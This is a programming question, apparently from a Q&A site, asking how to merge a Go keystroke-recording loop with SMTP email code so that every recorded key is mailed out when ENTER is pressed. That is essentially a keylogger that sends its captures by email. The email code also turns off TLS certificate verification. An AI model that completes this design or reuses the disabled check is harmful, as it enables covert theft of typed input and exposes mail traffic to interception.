How can I put variables into an email body with Golang?

Question

My aim is for every time for ENTER to be pressed in the program all the keys recorded will be emailed. What I need to do is put the keystrokes into the body, and then make it loop to create another email.

Key recording code:

package main

import (
    "fmt"
    "os"
    "os/exec"
    "net/smtp"
)

func main() {
    exec.Command("stty", "-F", "/dev/tty", "cbreak", "min", "1").Run()
    exec.Command("stty", "-F", "/dev/tty", "-echo").Run()
    defer exec.Command("stty", "-F", "/dev/tty", "echo").Run()

    var b []byte = make([]byte, 1)
    for {
        os.Stdin.Read(b)
        fmt.Println("I got the byte", b, "("+string(b)+")")
    }
}

Email code:

package main

import (
    "fmt"
    "log"
    "net"
    "net/mail"
    "net/smtp"
    "crypto/tls"
)

func main() {

    from := mail.Address{"", "username@example.tld"}
    to   := mail.Address{"", "username@anotherexample.tld"}
    subj := "This is the email subject"
    body := "This is an example body.\n With two lines."

    headers := make(map[string]string)
    headers["From"] = from.String()
    headers["To"] = to.String()
    headers["Subject"] = subj

    message := ""
    for k,v := range headers {
        message += fmt.Sprintf("%s: %s\r\n", k, v)
    }
    message += "\r\n" + body

    servername := "smtp.example.tld:465"

    host, _, _ := net.SplitHostPort(servername)

    auth := smtp.PlainAuth("","username@example.tld", "password", host)

    tlsconfig := &tls.Config {
        InsecureSkipVerify: true,
        ServerName: host,
    }

    conn, err := tls.Dial("tcp", servername, tlsconfig)
    if err != nil {
        log.Panic(err)
    }

    c, err := smtp.NewClient(conn, host)
    if err != nil {
        log.Panic(err)
    }

    if err = c.Auth(auth); err != nil {
        log.Panic(err)
    }

    if err = c.Mail(from.Address); err != nil {
        log.Panic(err)
    }

    if err = c.Rcpt(to.Address); err != nil {
        log.Panic(err)
    }

    w, err := c.Data()
    if err != nil {
        log.Panic(err)
    }

    _, err = w.Write([]byte(message))
    if err != nil {
        log.Panic(err)
    }

    err = w.Close()
    if err != nil {
        log.Panic(err)
    }

    c.Quit()

}